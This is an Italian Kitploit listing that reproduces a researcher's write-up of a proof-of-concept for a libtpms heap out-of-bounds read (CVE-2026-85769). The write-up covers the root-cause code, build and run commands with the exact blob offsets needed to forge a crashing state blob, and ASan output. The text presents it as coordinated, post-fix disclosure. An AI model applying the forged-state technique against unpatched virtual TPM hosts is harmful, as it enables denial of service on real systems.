Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-85769 — Proof-of-concept exploit per CVE-2026-85769, una lettura heap fuori dai limiti nella deserializzazione dello stato TPM 2.0 di libtpms, che dimostra il denial of service tramite un blob di stato appositamente predisposto. | Kitploit
Strumenti/GitHubGitHub/isukasanuj/cve-2026-85769
Sicurezza Sistemi EmbeddedAnalisi delle VulnerabilitàExploitFuzzingSicurezza HardwareAnalisi di Binari
GitHubisukasanuj/cve-2026-85769

CVE-2026-85769

Proof-of-concept exploit per CVE-2026-85769, una lettura heap fuori dai limiti nella deserializzazione dello stato TPM 2.0 di libtpms, che dimostra il denial of service tramite un blob di stato appositamente predisposto.

Condividi
Vedi Repository
2502 mesi faNon ancora revisionato

CVE-2026-85769

Lettura fuori dai limiti dell'heap nella deserializzazione dello stato volatile del TPM 2.0 di libtpms.

Un salto di blocco opzionale senza limiti in block_skip_read() fa avanzare il cursore di unmarshal di una lunghezza a 16 bit controllata dall'attaccante e porta il contatore con segno dei byte rimanenti a un valore negativo. Ogni controllo dei limiti a valle passa quindi senza errori, perché esegue il cast di quel valore con segno a unsigned. Un blob di stato volatile contraffatto e auto-verificato tramite checksum, fornito attraverso TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …), produce una lettura fuori dai limiti dell'heap e interrompe il processo che ospita libtpms — swtpm, in un deployment vTPM.

CVECVE-2026-85769
Componentesrc/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c
CWECWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Signed-to-Unsigned Conversion)
Affettomaster f7f072b2, v0.10.2 03ff2481 e release precedenti che contengono questo codice
Corretto9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613)
CVSS 3.1AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate)
Segnalato2026-09-01, privatamente al maintainer

Causa principale

block_skip_read() salta un blocco opzionale versionato facendo avanzare il cursore di parsing, senza verificare la lunghezza rispetto ai byte rimanenti:

} else if (has_block && !needs_block) {
    /* byte stream has the data but we don't need them */
    *buffer += blocksize;      /* blocksize is a UINT16 from the blob */
    *size   -= blocksize;      /* *size is INT32 — goes negative */
    *skip_code = TRUE;
}

*size è con segno. Una volta diventato negativo, la protezione davanti a ogni lettura scalare smette di funzionare:

if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2  ->  false        /* guard passes */

Più l'analisi procede oltre l'allocazione, più *size diventa negativo — e più grande appare se interpretato come unsigned. Lo stesso file contiene già la forma corretta in Array_Unmarshal, che confronta come signed.

L'unico controllo di integrità è uno SHA-1 senza chiave aggiunto al blob (src/tpm2/Volatile.c), quindi il PoC lo ricalcola dopo la manomissione.

Superficie d'attacco

Raggiungibile tramite TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) e la catena di ripristino all'accensione TPMLIB_MainInit → _TPM_Init → VolatileLoad.

In un deployment swtpm il percorso rilevante è la migrazione live — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, gestita da libvirt. L'host di destinazione analizza un blob di stato prodotto sull'host di origine. Un --migration-key configurato non mitiga questo problema: la chiave è condivisa tra entrambi gli host, quindi un'origine compromessa la possiede e produce un blob che viene decifrato correttamente. Protegge da una terza parte interposta, non da un peer ostile.

Build

git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967   # v0.10.2, or ba73ab17 for pre-fix master

./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
    CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
    LDFLAGS='-fsanitize=address'
make -j4

gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto

Esecuzione

export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0

# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin

# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610

# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0

8610 è dimensionato in modo che il cursore finisca nella redzone di ASan anziché su un puntatore selvaggio:

blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610

L'offset 173 è il byte has_block del trailer skip_future_versions di ORDERLY_DATA. È stato individuato strumentando block_skip_read() per stampare l'offset durante un'analisi, non contando i byte — l'offset cambia con il formato dello stato, quindi va ricalcolato se la lunghezza del tuo blob differisce da 8778.

Nota che skip_self_heal_timer non è un trailer utilizzabile: ACCUMULATE_SELF_HEAL_TIMER YES in TpmBuildSwitches.h significa che viene emesso con needs_block = TRUE e prende il ramo sicuro.

Risultato

==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
    #0 in UINT16_Unmarshal           tpm2/Unmarshal.c:71
    #1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
    #2 in NV_HEADER_Unmarshal        tpm2/NVMarshal.c:453
    #3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
    #4 in VolatileState_Unmarshal    tpm2/NVMarshal.c:3431
    #5 in VolatileState_Load         tpm2/Volatile.c:81
    #6 in TPM2_SetState              src/tpm_tpm2_interface.c:820
    #7 in TPMLIB_SetState            src/tpm_library.c:222

0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)

Il guasto si manifesta in UINT16_Unmarshal, non in block_skip_read — il salto fa avanzare il cursore e ritorna senza leggere. La corruzione si verifica sulla successiva lettura della struttura.

Rispetto al commit corretto, ogni caso di attacco restituisce TPM_RC_INSUFFICIENT (0x9a) senza alcun report ASan, e i blob validi vengono comunque ripristinati con rc=0.

Impatto

Denial of service del processo che ospita libtpms, oltre a comportamento indefinito.

La divulgazione di informazioni è stata testata ed esclusa. Piccoli superamenti su una build non-ASan restituiscono ogni volta TPM_RC_BAD_TAG (0x1e):

libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000

La lettura immediatamente successiva all'overshoot è un NV_HEADER, il cui magic a 32 bit deve corrispondere a una costante fissa. Un heap adiacente soddisfa tale condizione con p ≈ 2⁻³². Il parsing si interrompe, ClearAllCachedState() scarta tutto e nessun byte fuori dai limiti raggiunge TPMLIB_GetState. La riservatezza è quindi C:N. La revisione di Red Hat è giunta indipendentemente alla stessa conclusione.

Cronologia

Data
2026-09-01Segnalato privatamente al maintainer di libtpms
2026-09-04Stessa causa radice segnalata pubblicamente e indipendentemente da Leyao (ICT CAS) come issue libtpms #614
2026-09-04Corretto upstream in 9e1475ff (PR #613); correzione verificata rispetto a questo PoC
2026-09-04Segnalato a Red Hat Product Security
2026-09-04Assegnato CVE-2026-85769

Crediti

Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)

Note

Questo PoC è pubblicato dopo che il problema è stato corretto upstream e il CVE è stato assegnato. Prende di mira una build locale di una libreria open source e non fa altro che attivare il parsing. Testa solo ciò che sei autorizzato a testare.

Licenza

MIT

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    256

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →